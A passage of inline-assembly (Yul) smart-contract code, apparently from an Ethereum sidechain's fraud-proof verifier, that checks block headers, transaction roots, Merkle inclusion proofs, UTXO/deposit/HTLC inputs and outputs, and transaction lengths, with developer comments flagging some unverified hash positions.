assertOrInvalidProof(eq(getBlockCommitments(blockHeight), blockHash), ErrorCode_BlockHashNotFound) // If requested, Assert Block is Finalized if eq(assertFinalized, 1) { assertOrInvalidProof(gte( number(), safeAdd(selectEthereumBlockNumber(blockHeader), FINALIZATION_DELAY) // ethBlock + delay ), ErrorCode_BlockNotFinalized) } // If requested, Assert Block is Not Finalized if iszero(assertFinalized) { // underflow protected! assertOrInvalidProof(lt( number(), // ethereumBlockNumber safeAdd(selectEthereumBlockNumber(blockHeader), FINALIZATION_DELAY) // finalization delay ), ErrorCode_BlockFinalized) } } // Verify Transaction Root Header (Assume Block Header is Valid) function verifyTransactionRootHeader(blockHeader, transactionRoot) { /* - Block Header: - blockProducer [32 bytes] -- padded address - previousBlockHash [32 bytes] - blockHeight [32 bytes] - ethereumBlockNumber [32 bytes] - transactionRoots [64 + dynamic bytes] - Transaction Root Header: - transactionRootProducer [32 bytes] -- padded address - transactionRootMerkleTreeRoot [32 bytes] - transactionRootCommitmentHash [32 bytes] - transactionRootIndex [32 bytes] */ // Get number of transaction roots let transactionRootsLength := selectTransactionRootsLength(blockHeader) // Get transaction root index let transactionRootIndex := selectTransactionRootIndex(transactionRoot) // Assert root index is not overflowing assertOrInvalidProof(lt(transactionRootIndex, transactionRootsLength), ErrorCode_TransactionRootIndexOverflow) // Assert root invalid overflow assertOrInvalidProof(lt(transactionRootsLength, TRANSACTION_ROOTS_MAX), ErrorCode_TransactionRootsLengthOverflow) // Construct transaction root let transactionRootHash := keccak256(transactionRoot, mul32(3)) // Assert transaction root index is correct! assertOrInvalidProof(eq( transactionRootHash, load32(blockHeader, safeAdd(6, transactionRootIndex)) // blockHeader transaction root ), ErrorCode_TransactionRootHashNotInBlockHeader) } // Construct commitment hash function constructCommitmentHash(transactions, transactionsLength) -> commitmentHash { commitmentHash := keccak256(transactions, transactionsLength) } function selectTransactionABIData(transactionsABIEncoded) -> transactions { transactions := safeAdd(transactionsABIEncoded, mul32(2)) } function selectTransactionABILength(transactionsABIEncoded) -> transactionsLength { transactionsLength := load32(transactionsABIEncoded, 1) } // Verify Transaction Root Data is Valid (Assuming Transaction Root Valid) function verifyTransactionRootData(transactionRoot, transactions, transactionsLength) { // Select Transaction Data Root let commitmentHash := selectCommitmentHash(transactionRoot) // Check provided transactions data! THIS HASH POSITION MIGHT BE WRONG due to Keccak Encoding let constructedCommitmentHash := constructCommitmentHash(transactions, transactionsLength) // Assert or Invalid Data Provided assertOrInvalidProof(eq( commitmentHash, constructedCommitmentHash ), ErrorCode_TransactionRootHashInvalid) // Select Merkle Tree Root Provided let merkleTreeRoot := selectMerkleTreeRoot(transactionRoot) // Assert committed root must be the same as computed root! // THIS HASH MIGHT BE WRONG (hash POS check) assertOrFraud(eq( merkleTreeRoot, constructMerkleTreeRoot(transactions, transactionsLength) ), FraudCode_InvalidMerkleTreeRoot) } // Verify Transaction Proof function verifyTransactionProof(proofIndex, includeUTXOProofs, assertFinalized) { /* Transaction Proof: - Lengths - BlockHeader - TransactionRootHeader - TransactionMerkleProof - TransactionData - TransactionUTXOProofs */ // we are on proof 1 if gt(proofIndex, 0) { // Notate across global stack we are on proof 1 validation mpush(Stack_ProofNumber, proofIndex) } // Select Memory Positions let blockHeader := selectBlockHeader(proofIndex) let transactionRoot := selectTransactionRoot(proofIndex) let transactionMerkleProof := selectTransactionMerkleProof(proofIndex) let transactionData := selectTransactionData(proofIndex) // Verify Block Header verifyBlockHeader(blockHeader, assertFinalized) // Verify Transaction Root Header verifyTransactionRootHeader(blockHeader, transactionRoot) // Verify Transaction Leaf verifyTransactionLeaf(transactionRoot, transactionData, transactionMerkleProof) // Construct Transaction Leaf Hash (Again :( let transactionLeafHash := constructTransactionLeafHash(transactionData) // If transaction hash is not zero hash, than go and verify it! if gt(transactionLeafHash, 0) { // Transaction UTXO Proofs let transactionUTXOProofs := 0 // Include UTXO Proofs if gt(includeUTXOProofs, 0) { transactionUTXOProofs := selectTransactionUTXOProofs(proofIndex) } // Verify Transaction Data verifyTransactionData(transactionData, transactionUTXOProofs) } // Ensure We are now validating proof 0 again mpop(Stack_ProofNumber) } // Verify Transaction Leaf (Assume Transaction Root Header is Valid) function verifyTransactionLeaf(transactionRoot, transactionData, merkleProof) { /* - Transaction Root Header: - transactionRootProducer [32 bytes] -- padded address - transactionRootMerkleTreeRoot [32 bytes] - transactionRootCommitmentHash [32 bytes] - transactionRootIndex [32 bytes] - Transaction Data: - input index [32 bytes] -- padded uint8 - output index [32 bytes] -- padded uint8 - witness index [32 bytes] -- padded uint8 - transactionInputsLength [32 bytes] -- padded uint8 - transactionIndex [32 bytes] -- padded uint32 - transactionLeafData [dynamic bytes] - Transaction Merkle Proof: - oppositeTransactionLeaf [32 bytes] - merkleProof [64 + dynamic bytes] */ // Select Merkle Tree Root let merkleTreeRoot := selectMerkleTreeRoot(transactionRoot) // Select Merkle Proof Height let treeHeight := selectMerkleTreeHeight(merkleProof) // Select Tree (ahead of Array length) let treeMemoryPosition := selectMerkleTree(merkleProof) // Select Transaction Index let transactionIndex := selectTransactionIndex(transactionData) // Assert Valid Merkle Tree Height (i.e. below Maximum) assertOrInvalidProof(lt(treeHeight, MerkleTreeHeightMaximum), ErrorCode_MerkleTreeHeightOverflow) // Select computed hash, initialize with opposite leaf hash let computedHash := selectOppositeTransactionLeaf(merkleProof) // Assert Leaf Hash is base of Merkle Proof assertOrInvalidProof(eq( constructTransactionLeafHash(transactionData), // constructed computedHash // proof provided ), ErrorCode_TransactionLeafHashInvalid) // Clean Rightmost (leftishness) Detection Var (i.e. any previous use of this Stack Position) mpop(Stack_MerkleProofLeftish) // Iterate Through Merkle Proof Depths // https://crypto.stackexchange.com/questions/31871/what-is-the-canonical-way-of-creating-merkle-tree-branches for { let depth := 0 } lt(depth, treeHeight) { depth := safeAdd(depth, 1) } { // get the leaf hash let proofLeafHash := load32(treeMemoryPosition, depth) // Determine Proof Direction the merkle brand left: tx index % 2 == 0 switch eq(smod(transactionIndex, 2), 0) // Direction is left branch case 1 { mstore(mul32(1), computedHash) mstore(mul32(2), proofLeafHash) // Leftishness Detected in Proof, This is not Rightmost mpush(Stack_MerkleProofLeftish, True) } // Direction is right branch case 0 { mstore(mul32(1), proofLeafHash) mstore(mul32(2), computedHash) } default { revert(0, 0) } // Direction is Invalid, Ensure no other cases! // Construct Depth Hash computedHash := keccak256(mul32(1), mul32(2)) // Shift transaction index right by 1 transactionIndex := shr(1, transactionIndex) } // Assert constructed merkle tree root is provided merkle tree root, or else, Invalid Inclusion! assertOrInvalidProof(eq(computedHash, merkleTreeRoot), ErrorCode_MerkleTreeRootInvalid) } // Verify Transaction Input Metadata function verifyTransactionInputMetadata(blockHeader, rootHeader, metadata, blockTip, inputIndex) { // Block Height let metadataBlockHeight, metadataTransactionRootIndex, metadataTransactionIndex, metadataOutputIndex := selectMetadata(metadata) // Select Transaction Block Height let blockHeight := selectBlockHeight(blockHeader) let transactionRootIndex := selectTransactionRootIndex(rootHeader) // Assert input index overflow (i.e. metadata does not exist) assertOrFraud(lt(inputIndex, mstack(Stack_MetadataLength)), FraudCode_MetadataReferenceOverflow) // Assert Valid Metadata Block height assertOrFraud(gt(metadataBlockHeight, 0), FraudCode_MetadataBlockHeightUnderflow) // Assert Valid Metadata Block height assertOrFraud(lt(metadataTransactionRootIndex, TRANSACTION_ROOTS_MAX), FraudCode_InvalidTransactionRootIndexOverflow) // Cannot spend past it's own root index (i.e. tx 1 cant spend tx 2 at root index + 1) // Can't be past block tip or past it's own block (can't reference the future) assertOrFraud(lte(metadataBlockHeight, blockTip), FraudCode_MetadataBlockHeightOverflow) // Check overflow of current block height assertOrFraud(lte(metadataBlockHeight, blockHeight), FraudCode_MetadataBlockHeightOverflow) // Can't reference in the future!! // If Meta is Ref. Block Height of Itself, and Ref. Root Index > Itself, that's Fraud! assertOrFraud(or(iszero(eq(metadataBlockHeight, blockHeight)), // block height is different lte(metadataTransactionRootIndex, transactionRootIndex)), // metadata root index <= self root index FraudCode_InvalidTransactionRootIndexOverflow) // Need to cover referencing a transaction index in the same block, but past this tx // txs must always reference txs behind it, or else it's fraud // Check Output Index assertOrFraud(lt(metadataOutputIndex, TransactionLengthMax), FraudCode_MetadataOutputIndexOverflow) } // Verify HTLC Usage function verifyHTLCData(blockHeader, input, utxoProof) { /* - Transaction UTXO Data: - transactionHashId [32 bytes] - outputIndex [32 bytes] -- padded uint8 - type [32 bytes] -- padded uint8 - amount [32 bytes] - owner [32 bytes] -- padded address or unit8 - tokenID [32 bytes] -- padded uint32 - [HTLC Data]: - digest [32 bytes] - expiry [32 bytes] -- padded 4 bytes - return witness index [32 bytes] -- padded 1 bytes */ // Select Transaction Input data let length, utxoID, witnessReference, preImage := selectAndVerifyInputHTLC(input, TransactionLengthMax) // Select Transaction Block Height let blockHeight := selectBlockHeight(blockHeader) // Select Digest and Expiry from UTXO Proof (Assumed to be Valid) let digest := load32(utxoProof, 6) let expiry := load32(utxoProof, 7) // If not expired, and digest correct, expired case gets handled in Comparison proofs if lt(blockHeight, expiry) { // Assert Digest is Valid assertOrFraud(eq(digest, constructHTLCDigest(preImage)), FraudCode_InvalidHTLCDigest) } } // Verify Transaction Length (minimum and maximum) function verifyTransactionLength(transactionLength) { // Assert transaction length is not too short assertOrFraud(gt(transactionLength, TransactionSizeMinimum), FraudCode_TransactionLengthUnderflow) // Assert transaction length is not too long assertOrFraud(lte(transactionLength, TransactionSizeMaximum), FraudCode_TransactionLengthOverflow) } // Verify Transaction Data (Metadata, Inputs, Outputs, Witnesses) function verifyTransactionData(transactionData, utxoProofs) { // Verify Transaction Length verifyTransactionLength(selectTransactionLength(transactionData)) // Select and Verify Lengths and Use Them as Indexes (let Index = Length; lt; Index--) let memoryPosition, inputsLength, outputsLength, witnessesLength := selectAndVerifyTransactionDetails(transactionData) // Memory Stack so we don't blow the stack! mpush(Stack_InputsSum, 0) // Total Transaction Input Sum mpush(Stack_OutputsSum, 0) // Total Transaction Output Sum mpush(Stack_Metadata, selectTransactionMetadata(transactionData)) // Metadata Memory Position mpush(Stack_Witnesses, selectTransactionWitnesses(transactionData)) // Witnesses Memory Position mpush(Stack_BlockTip, getBlockTip()) // GET blockTip() from Storage mpush(Stack_UTXOProofs, safeAdd(utxoProofs, mul32(1))) // UTXO Proofs Memory Position mpush(Stack_TransactionHashID, constructTransactionHashID(transactionData)) // Construct Transaction Hash ID mpush(Stack_MetadataLength, selectTransactionMetadataLength(transactionData)) // Push summing tokens if gt(utxoProofs, 0) { mpush(Stack_SummingToken, mload(utxoProofs)) // load summing token mpush(Stack_SummingTokenID, getTokens(mload(utxoProofs))) // load summing token } // Set Block Header Position (on First Proof) if iszero(mstack(Stack_ProofNumber)) { // Proof 0 Block Header Position mpush(Stack_BlockHeader, selectBlockHeader(FirstProof)) // Proof 0 Block Header Position mpush(Stack_RootHeader, selectTransactionRoot(FirstProof)) // Return Stack Offset: (No Offset) First Transaction mpush(Stack_SelectionOffset, 0) // Proof 0 Transaction Root Producer mpush(Stack_RootProducer, selectRootProducer(selectTransactionRoot(FirstProof))) } // If Second Transaction Processed, Set Block Header Position (On Second Proof) if gt(mstack(Stack_ProofNumber), 0) { // Proof 1 Block Header Position mpush(Stack_BlockHeader, selectBlockHeader(SecondProof)) // Proof 0 Block Header Position mpush(Stack_RootHeader, selectTransactionRoot(SecondProof)) // Return Stack Offset: Offset Memory Stack for Second Proof mpush(Stack_SelectionOffset, SelectionStackOffsetSize) // 4 => Metadata, Input, Output, Witness Position // Proof 1 Transaction Root Position mpush(Stack_RootProducer, selectRootProducer(selectTransactionRoot(SecondProof))) } // Increase memory position past length Specifiers memoryPosition := safeAdd(memoryPosition, TransactionLengthSize) // Transaction Proof Stack Return // 8) Metadata Tx 1, 9) Input Tx 1, 10) Output, 11) Witness Memory Position // 12) Metadata Tx 2, 13) Input Tx 2, 14) Output, 15) Witness Memory Position // VALIDATE Inputs Index from Inputs Length -> 0 for { mpush(Stack_Index, 0) } lt(mstack(Stack_Index), inputsLength) { mpush(Stack_Index, safeAdd(mstack(Stack_Index), 1)) } { // Check if This is Input Requested if eq(mstack(Stack_Index), selectInputSelectionIndex(transactionData)) { // Store Metadata Position in Stack mpush(safeAdd(Stack_MetadataSelected, mstack(Stack_SelectionOffset)), combineUint32(mstack(Stack_Metadata), memoryPosition, mstack(Stack_Index), 0)) } // Select Input Type switch selectInputType(memoryPosition) case 0 { // InputType UTXO // Increase Memory pointer let length, utxoID, witnessReference := selectAndVerifyInputUTXO(memoryPosition, witnessesLength) // If UTXO/Deposit Proofs provided if gt(utxoProofs, 0) { let outputAmount, outputOwner, tokenID := selectAndVerifyUTXOAmountOwner(mstack(Stack_UTXOProofs), 0, utxoID) // Increase input sum if eq(tokenID, mstack(Stack_SummingTokenID)) { mpush(Stack_InputsSum, safeAdd(mstack(Stack_InputsSum), outputAmount)) } // Increase UTXO proof memory position mpush(Stack_UTXOProofs, safeAdd(mstack(Stack_UTXOProofs), UTXOProofSize)) // Verify transaction witness verifyTransactionWitness(selectWitnessSignature(mstack(Stack_Witnesses), witnessReference), mstack(Stack_TransactionHashID), outputOwner, mstack(Stack_RootProducer)) } // cannot select metadata that does not exist // assertOrFraud(lt(inputIndex, mstack(Stack_MetadataLength)), // FraudCode_TransactionInputMetadataOverflow) // Verify metadata for this input (metadata position, block tip) verifyTransactionInputMetadata(mstack(Stack_BlockHeader), mstack(Stack_RootHeader), mstack(Stack_Metadata), mstack(Stack_BlockTip), mstack(Stack_Index)) // Increase metadata memory position mpush(Stack_Metadata, safeAdd(mstack(Stack_Metadata), MetadataSize)) // Push Input Length mpush(safeAdd(Stack_SelectedInputLength, mstack(Stack_SelectionOffset)), length) // increase Memory Position memoryPosition := safeAdd(memoryPosition, length) } case 1 { // InputType DEPOSIT (verify deposit owner / details witnesses etc) // Select Input Deposit (Asserts Deposit > 0) let length, depositHashID, witnessReference := selectAndVerifyInputDeposit(memoryPosition, witnessesLength) // If UTXO Proofs provided if gt(utxoProofs, 0) { // Owner let depositOwner := selectInputDepositOwner(mstack(Stack_UTXOProofs)) // Constructed Deposit hash let constructedDepositHashID := constructDepositHashID(mstack(Stack_UTXOProofs)) // Check Deposit Hash ID against proof assertOrInvalidProof(eq(depositHashID, constructedDepositHashID), ErrorCode_InvalidDepositProof) // Verify transaction witness verifyTransactionWitness(selectWitnessSignature(mstack(Stack_Witnesses), witnessReference), mstack(Stack_TransactionHashID), depositOwner, mstack(Stack_RootProducer)) // Deposit Token let depositToken := selectInputDepositToken(mstack(Stack_UTXOProofs)) // Increase Input Amount if eq(depositToken, mstack(Stack_SummingToken)) { mpush(Stack_InputsSum, safeAdd(mstack(Stack_InputsSum), getDeposits(depositHashID))) } // Increase UTXO/Deposit proof memory position mpush(Stack_UTXOProofs, safeAdd(mstack(Stack_UTXOProofs), DepositProofSize)) } // Push Input Length mpush(safeAdd(Stack_SelectedInputLength, mstack(Stack_SelectionOffset)), length) // Increase Memory Position memoryPosition := safeAdd(memoryPosition, length) } case 2 { // InputType HTLC // Select HTLC Input let length, utxoID, witnessReference, preImage := selectAndVerifyInputHTLC( memoryPosition, witnessesLength) // If UTXO Proofs provided if gt(utxoProofs, 0) { let outputAmount, outputOwner, tokenID := selectAndVerifyUTXOAmountOwner( mstack(Stack_UTXOProofs), 2, utxoID) // Verify HTLC Data verifyHTLCData(mstack(Stack_BlockHeader), memoryPosition, mstack(Stack_UTXOProofs)) // Verify transaction witness verifyTransactionWitness(selectWitnessSignature(mstack(Stack_Witnesses), witnessReference), mstack(Stack_TransactionHashID), outputOwner, mstack(Stack_RootProducer)) // Increase input sum if eq(tokenID, mstack(Stack_SummingTokenID)) { mpush(Stack_InputsSum, safeAdd(mstack(Stack_InputsSum), outputAmount)) } // Increase UTXO proof memory position mpush(Stack_UTXOProofs, safeAdd(mstack(Stack_UTXOProofs), UTXOProofSize)) } // Verify metadata for this input (metadata position, block tip) verifyTransactionInputMetadata(mstack(Stack_BlockHeader), mstack(Stack_RootHeader), mstack(Stack_Metadata), mstack(Stack_BlockTip), mstack(Stack_Index)) // Increase metadata memory position mpush(Stack_Metadata, safeAdd(mstack(Stack_Metadata), MetadataSize)) // Push Input Length mpush(safeAdd(Stack_SelectedInputLength, mstack(Stack_SelectionOffset)), length) // Increase Memory Position memoryPosition := safeAdd(memoryPosition, length) } case 3 { // InputType CHANGE UNSPENT // HTLC input let length, utxoID, witnessReference := selectAndVerifyInputUTXO(memoryPosition, witnessesLength) // If UTXO Proofs provided if gt(utxoProofs, 0) { let outputAmount, outputOwner, tokenID := selectAndVerifyUTXOAmountOwner(mstack(Stack_UTXOProofs), OutputType_Change, utxoID) // witness signatures get enforced in invalidTransactionInput // Increase input sum if eq(tokenID, mstack(Stack_SummingTokenID)) { mpush(Stack_InputsSum, safeAdd(mstack(Stack_InputsSum), outputAmount)) } // Increase UTXO proof memory position mpush(Stack_UTXOProofs, safeAdd(mstack(Stack_UTXOProofs), UTXOProofSize)) } // Verify metadata for this input (metadata position, block tip) verifyTransactionInputMetadata(mstack(Stack_BlockHeader), mstack(Stack_RootHeader), mstack(Stack_Metadata), mstack(Stack_BlockTip), mstack(Stack_Index)) // Increase metadata memory position mpush(Stack_Metadata, safeAdd(mstack(Stack_Metadata), MetadataSize)) // Push Input Length mpush(safeAdd(Stack_SelectedInputLength, mstack(Stack_SelectionOffset)), length) // Increase Memory Position memoryPosition := safeAdd(memoryPosition, length) } // Assert fraud Invalid Input Type default { assertOrFraud(0, FraudCode_InvalidTransactionInputType) } // Increase Memory Pointer for 1 byte Type memoryPosition := safeAdd(memoryPosition, TypeSize) } // Index from Outputs Length -> 0 for { mpush(Stack_Index, 0) } lt(mstack(Stack_Index), outputsLength) { mpush(Stack_Index, safeAdd(mstack(Stack_Index), 1)) } { // Check if input is requested if eq(mstack(Stack_Index), selectOutputSelectionIndex(transactionData)) { // Store Output Memory Position in Stack mpush(safeAdd(Stack_OutputSelected, mstack(Stack_SelectionOffset)), memoryPosition) } // Select Output Type switch selectOutputType(memoryPosition) case 0 { // OutputType UTXO // Increase Memory pointer let length, amount, owner, tokenID := selectAndVerifyOutput(memoryPosition, False) // Increase total output sum if eq(tokenID, mstack(Stack_SummingTokenID)) { mpush(Stack_OutputsSum, safeAdd(mstack(Stack_OutputsSum), amount)) } // Increase Memory pointer memoryPosition := safeAdd(length, memoryPosition) } case 1 { // OutputType withdrawal // Increase Memory pointer let length, amount, owner, tokenID := selectAndVerifyOutput(memoryPosition, False) // Increase total output sum if eq(tokenID, mstack(Stack_SummingTokenID)) { mpush(Stack_OutputsSum, safeAdd(mstack(Stack_OutputsSum), amount)) } // Increase Memory pointer memoryPosition := safeAdd(length, memoryPosition) } case 2 { // OutputType HTLC // Increase Memory pointer let length, amount, owner, tokenID, digest, expiry, returnWitness := selectAndVerifyOutputHTLC(memoryPosition, witnessesLength) // Check expiry is greater than its own block header assertOrFraud(gt(expiry, selectBlockHeight(mstack(Stack_BlockHeader))), FraudCode_OutputHTLCExpiryUnderflow) // Increase total output sum if eq(tokenID, mstack(Stack_SummingTokenID)) { mpush(Stack_OutputsSum, safeAdd(mstack(Stack_OutputsSum), amount)) } // Increase Memory pointer memoryPosition := safeAdd(length, memoryPosition) } case 3 { // OutputType CHANGE UNSPENT // Increase Memory pointer let length, amount, witnessReference, tokenID := selectAndVerifyOutput(memoryPosition, True) // Invalid Witness Reference out of bounds assertOrFraud(lt(witnessReference, witnessesLength), FraudCode_TransactionOutputWitnessReferenceOverflow) // Increase total output sum if eq(tokenID, mstack(Stack_SummingTokenID)) { mpush(Stack_OutputsSum, safeAdd(mstack(Stack_OutputsSum), amount)) } // Increase Memory pointer memoryPosition := safeAdd(length, memoryPosition) } // Assert fraud Invalid Input Type default { assertOrFraud(0, FraudCode_InvalidTransactionOutputType) } // Increase Memory Pointer for 1 byte Type memoryPosition := safeAdd(memoryPosition, TypeSize) } // Assert Transaction Total Output Sum <= Total Input Sum if gt(utxoProofs, 0) { assertOrFraud(eq(mstack(Stack_OutputsSum), mstack(Stack_InputsSum)), FraudCode_TransactionSumMismatch) } // Iterate from Witnesses Length -> 0 for { mpush(Stack_Index, 0) } lt(mstack(Stack_Index), witnessesLength) { mpush(Stack_Index, safeAdd(mstack(Stack_Index), 1)) } { // check if input is requested if eq(mstack(Stack_Index), selectWitnessSelectionIndex(transactionData)) { // Store Witness Memory Position in Stack mpush(safeAdd(Stack_WitnessSelected, mstack(Stack_SelectionOffset)), mstack(Stack_Witnesses)) } // Increase witness memory position mpush(Stack_Witnesses, safeAdd(mstack(Stack_Witnesses), WitnessSize)) } // Check Transaction Length for Validity based on Computed Lengths // Get Leaf Size details let unsignedTransactionData, metadataSize, witnessesSize, witnessLength := selectAndVerifyTransactionLeafData(transactionData) // Select Transaction Length let transactionLength := selectTransactionLength(transactionData) // Metadata size let providedDataSize := add3(TransactionLengthSize, metadataSize, witnessesSize) // We should never hit this, but we will add in the protection anyway.. assertOrFraud(lt(providedDataSize, transactionLength), FraudCode_ProvidedDataOverflow) // Memory size difference let unsignedTransactionLength := safeSub(transactionLength, providedDataSize) // We should never hit this, but we will add in the protection anyway.. assertOrFraud(lt(unsignedTransactionData, memoryPosition), FraudCode_ProvidedDataOverflow) // Computed unsigned transaction length // Should never underflow let computedUnsignedTransactionLength := safeSub(memoryPosition, unsignedTransactionData) // Invalid transaction length assertOrFraud(eq(unsignedTransactionLength, computedUnsignedTransactionLength), FraudCode_ComputedTransactionLengthOverflow) // Pop Memory Stack mpop(Stack_InputsSum) mpop(Stack_OutputsSum) mpop(Stack_Metadata) mpop(Stack_Witnesses) mpop(Stack_BlockTip) mpop(Stack_UTXOProofs) mpop(Stack_TransactionHashID) mpop(Stack_MetadataLength) mpush(Stack_SummingToken, 0) // load summing token mpush(Stack_SummingTokenID, 0) // load summing token mpop(Stack_Index) // We leave Memory Stack 6 for Secondary Transaction Proof Validation // We don't clear 7 - 15 (those are the returns from transaction processing) // Warning: CHECK Transaction Leaf Length here for Computed Length!! } mpop(Stack_Index) // // SELECTOR METHODS // For selecting, parsing and enforcing side-chain abstractions, rules and data across runtime memory // // Select the UTXO ID for an Input function selectUTXOID(input) -> utxoID { // Past 1 (input type) utxoID := mload(safeAdd(input, TypeSize)) } // Select Metadata function selectMetadata(metadata) -> blockHeight, transactionRootIndex, transactionIndex, outputIndex { blockHeight := slice(metadata, 4) transactionRootIndex := slice(safeAdd(metadata, 4), IndexSize) transactionIndex := slice(safeAdd(metadata, 5), 2) outputIndex := slice(safeAdd(metadata, 7), IndexSize) } // Select Metadata Selected (Used after verifyTransactionData) function selectInputSelectedHash(proofIndex) -> inputHash { let offset := 0 // Second proof, move offset to 4 if gt(proofIndex, 0) { offset := SelectionStackOffsetSize } // Input Hash Length (Type 1 Byte + Input Length Provided) let inputHashLength := 0 // Input Memory Position let input := selectInputSelected(proofIndex) // Get lenght switch selectInputType(input) case 0 { inputHashLength := 33 } case 1 { inputHashLength := 33 } case 2 { inputHashLength := 65 } case 3 { inputHashLength := 33 } default { assertOrInvalidProof(0, 0) } // Set metadata inputHash := keccak256(input, inputHashLength) } // Select Metadata Selected (Used after verifyTransactionData) function selectMetadataSelected(proofIndex) -> metadata { let offset := 0 // Second proof, move offset to 4 if gt(proofIndex, 0) { offset := SelectionStackOffsetSize } // Return metadata memory position let metadataInput, input, unused, unused2 := splitCombinedUint32(mstack(safeAdd(Stack_MetadataSelected, offset))) // Set metadata metadata := metadataInput } // Select Input Selected (Used after verifyTransactionData) function selectInputSelected(proofIndex) -> input { let offset := 0 // Second proof, move offset to 4 if gt(proofIndex, 0) { offset := SelectionStackOffsetSize } // Get values let metadata, inputPosition, unused, unused2 := splitCombinedUint32(mstack(safeAdd(Stack_MetadataSelected, offset))) // Input position input := inputPosition } // Select Output Selected (Used after verifyTransactionData) function selectOutputSelected(proofIndex) -> output { let offset := 0 // Second proof, move offset to 4 if gt(proofIndex, 0) { offset := SelectionStackOffsetSize } // Return metadata memory position output := mstack(safeAdd(Stack_OutputSelected, offset)) } // Select Witness Selected (Used after verifyTransactionData) function selectWitnessSelected(proofIndex) -> witness { let offset := 0 // Second proof, move offset to 4 if gt(proofIndex, 0) { offset := SelectionStackOffsetSize } // Return metadata memory position witness := mstack(safeAdd(Stack_WitnessSelected, offset)) } function selectBlockHeaderLength(transactionProof) -> blockHeaderLength { blockHeaderLength := load32(transactionProof, 0) } function selectTransactionRootLength(transactionProof) -> transactionRootLength { transactionRootLength := load32(transactionProof, 1) } function selectMerkleProofLength(transactionProof) -> merkleProofLength { merkleProofLength := load32(transactionProof, 2) } // Select Transaction Proof Lengths function selectTransactionProofLengths(transactionProof) -> lengthsLength, blockHeaderLength, transactionRootHeaderLength, transactionDataLength, transactionMerkleLength, transactionUTXOLength { // Compute Proof Length or Lengths lengthsLength := mul32(5) // If malformed block proof if iszero(selectProofType()) { lengthsLength := mul32(3) } // Select Proof Lengths blockHeaderLength := load32(transactionProof, 0) transactionRootHeaderLength := load32(transactionProof, 1) transactionMerkleLength := load32(transactionProof, 2) transactionDataLength := load32(transactionProof, 3) transactionUTXOLength := load32(transactionProof, 4) } // Select Transaction Proof Memory Position function selectTransactionProof(proofIndex) -> transactionProof { // Increase proof memory position for proof type (32 bytes) transactionProof := safeAdd(Calldata_MemoryPosition, mul32(1)) // Select second proof instead! if gt(proofIndex, 0) { // Get lengths let lengthsLength, blockHeaderLength, transactionRootHeaderLength, transactionDataLength, transactionMerkleLength, transactionUTXOLength := selectTransactionProofLengths(transactionProof) // Secondary position transactionProof := add4( transactionProof, lengthsLength, blockHeaderLength, add4(transactionRootHeaderLength, transactionMerkleLength, transactionDataLength, transactionUTXOLength)) } } // Select Transaction Proof Block Header function selectBlockHeader(proofIndex) -> blockHeader { // Select Proof Memory Position blockHeader := selectTransactionProof(proofIndex) // If it's not the bond withdrawal if lt(selectProofType(), 6) { let lengthsLength, blockHeaderLength, transactionRootHeaderLength, transactionDataLength, transactionMerkleLength, transactionUTXOLength := selectTransactionProofLengths(blockHeader) // Block header (always after lengths) blockHeader := safeAdd(blockHeader, lengthsLength) } } function selectBlockProducer(blockHeader) -> blockProducer { blockProducer := load32(blockHeader, 0) } function selectBlockHeight(blockHeader) -> blockHeight { blockHeight := load32(blockHeader, 2) } function selectPreviousBlockHash(blockHeader) -> previousBlockHash { previousBlockHash := load32(blockHeader, 1) } function selectTransactionRootsLength(blockHeader) -> transactionRootsLength { transactionRootsLength := load32(blockHeader, 5) } function selectEthereumBlockNumber(blockHeader) -> ethereumBlockNumber { ethereumBlockNumber := load32(blockHeader, 3) } // Select Transaction Root from Proof function selectTransactionRoot(proofIndex) -> transactionRoot { // Select Proof Memory Position let transactionProof := selectTransactionProof(proofIndex) // Get lengths let lengthsLength, blockHeaderLength, transactionRootHeaderLength, transactionDataLength, transactionMerkleLength, transactionUTXOLength := selectTransactionProofLengths(transactionProof) // Select Transaction Root Position transactionRoot := add3(transactionProof, lengthsLength, blockHeaderLength) } // Select Root Producer function selectRootProducer(transactionRoot) -> rootProducer { rootProducer := load32(transactionRoot, 0) } // Select Merkle Tree Root function selectMerkleTreeRoot(transactionRoot) -> merkleTreeRoot { merkleTreeRoot := load32(transactionRoot, 1) } // Select commitment hash from root function selectCommitmentHash(transactionRoot) -> commitmentHash { commitmentHash := load32(transactionRoot, 2) } // Select Transaction Root Index function selectTransactionRootIndex(transactionRoot) -> transactionRootIndex { transactionRootIndex := load32(transactionRoot, 3) } // Select Transaction Root from Proof function selectTransactionMerkleProof(proofIndex) -> merkleProof { // Select Proof Memory Position merkleProof := selectTransactionProof(proofIndex) // Get lengths let lengthsLength, blockHeaderLength, transactionRootHeaderLength, transactionDataLength, transactionMerkleLength, transactionUTXOLength := selectTransactionProofLengths(merkleProof) // Select Transaction Root Position merkleProof := add4(merkleProof, lengthsLength, blockHeaderLength, transactionRootHeaderLength) } // Select First Merkle Proof function selectMerkleTreeBaseLeaf(merkleProof) -> leaf { leaf := load32(merkleProof, 3) } // Select Opposite Transaction Leaf in Merkle Proof function selectOppositeTransactionLeaf(merkleProof) -> oppositeTransactionLeaf { oppositeTransactionLeaf := mload(merkleProof) } // Select Merkle Tree Height function selectMerkleTreeHeight(merkleProof) -> merkleTreeHeight { merkleTreeHeight := load32(merkleProof, 2) } // Select Merkle Tree Height function selectMerkleTree(merkleProof) -> merkleTree { merkleTree := safeAdd(merkleProof, mul32(3)) } // Select Transaction Data from Proof function selectTransactionData(proofIndex) -> transactionData { // Select Proof Memory Position let proofMemoryPosition := selectTransactionProof(proofIndex) // Get lengths let lengthsLength, blockHeaderLength, transactionRootHeaderLength, transactionDataLength, transactionMerkleLength, transactionUTXOLength := selectTransactionProofLengths(proofMemoryPosition) // Select Transaction Data Position transactionData := add4(proofMemoryPosition, lengthsLength, blockHeaderLength, safeAdd(transactionRootHeaderLength, transactionMerkleLength)) } function selectTransactionIndex(transactionData) -> transactionIndex { transactionIndex := load32(transactionData, 3) } function selectInputIndex(transactionData) -> outputIndex { outputIndex := load32(transactionData, 0) } function selectOutputIndex(transactionData) -> outputIndex { outputIndex := load32(transactionData, 1) } function selectWitnessIndex(transactionData) -> outputIndex { outputIndex := load32(transactionData, 2) } // Verify Transaction Lengths function verifyTransactionProofLengths(proofCount) { // Total Proof Length let proofLengthWithoutType := 0 // Iterate and Compute Maximum length for { let proofIndex := 0 } and(lt(proofIndex, 2), lt(proofIndex, proofCount)) { proofIndex := safeAdd(proofIndex, 1) } { // Get lengths let lengthsLength, blockHeaderLength, transactionRootHeaderLength, transactionDataLength, transactionMerkleLength, transactionUTXOLength := selectTransactionProofLengths(selectTransactionProof(proofIndex)) // Add total proof length proofLengthWithoutType 